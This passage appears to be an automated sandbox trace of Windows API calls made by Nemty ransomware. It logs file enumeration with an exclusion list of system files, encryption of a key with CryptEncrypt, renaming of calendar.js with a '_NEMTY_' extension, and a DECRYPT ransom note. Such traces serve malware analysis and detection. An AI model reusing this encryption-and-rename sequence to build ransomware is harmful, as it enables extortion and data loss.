lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.655] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0109.656] CloseHandle (hObject=0x254) returned 1 [0109.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0109.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0109.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf500e590, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf500e590, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0109.656] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0109.656] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf500e590, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf500e590, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.656] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0109.656] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0109.656] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2=".") returned 1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="..") returned 1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="...") returned 1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="windows") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="$RECYCLE.BIN") returned 1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="rsa") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="NTDETECT.COM") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="ntldr") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="MSDOS.SYS") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="IO.SYS") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="boot.ini") returned 1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="boot.ini") returned 1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="AUTOEXEC.BAT") returned 1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="ntuser.dat") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="desktop.ini") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="CONFIG.SYS") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="RECYCLER") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="BOOTSECT.BAK") returned 1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="bootmgr") returned 1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="programdata") returned -1 [0109.657] lstrcmpiW (lpString1="calendar.js", lpString2="appdata") returned 1 [0109.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0109.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.js", lpUsedDefaultChar=0x0) returned 11 [0109.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0109.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.js", lpUsedDefaultChar=0x0) returned 11 [0109.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0109.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.js", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.js", lpUsedDefaultChar=0x0) returned 11 [0109.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0109.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar.js", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar.js", lpUsedDefaultChar=0x0) returned 11 [0109.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0109.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0109.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0109.658] Sleep (dwMilliseconds=0x5) [0109.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf50346f0, dwHighDateTime=0x1d561e7)) [0109.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf50346f0, dwHighDateTime=0x1d561e7)) [0109.666] GetLastError () returned 0xb7 [0109.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.666] GetLastError () returned 0xb7 [0109.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.666] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0109.666] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0109.666] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0109.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0109.666] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e5dc | out: pszString="JSiaSE5ylvbQ5yjZKbLVmNfhjbtp15d4EFUQIxAjLhhKvfLjTejqQ3+som4ZvmY7\r\nFipMC9NDfFx0P7uTcpylWNRlwdOIMjigow6zNAWo5NApRh3TvjxC9L0d/VsPq16P\r\n/uf7SrjQI0B0upA8TSzohXeRQuk+fKlQpsP1nUWJBBwDrrQOpwGxRLemd3sCYUkj\r\nuxZKOQ8ixh6d3lHLYyyY/ohI+3HwAfgkQK4Ttht2gUu0ni8JcLxgbR6FJdyppQba\r\nKgYeMDO3XkJofoIoel/ANEOIT4X+tvUOyUgt9iozVtuhGcjMdsryEg6Gos4AF/gl\r\nFMgkPmVgyQvGDbPgqJrftA==\r\n", pcchString=0x653e5dc) returned 1 [0109.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0109.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0109.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0109.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0109.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0109.666] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\calendar.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\calendar.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.667] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0109.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0109.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.687] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.705] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.715] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.724] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.724] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.767] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.767] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.773] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0109.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0109.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0109.779] CloseHandle (hObject=0xffffffff) returned 0 [0109.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0109.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0109.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0109.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0109.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\calendar.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\calendar.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\calendar.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\calendar.js._nemty_kgobjgd_")) returned 0 [0109.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0109.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0109.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0109.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0109.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0109.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0109.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0109.780] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf500e590, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf500e590, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf500e590, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0109.780] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0109.780] 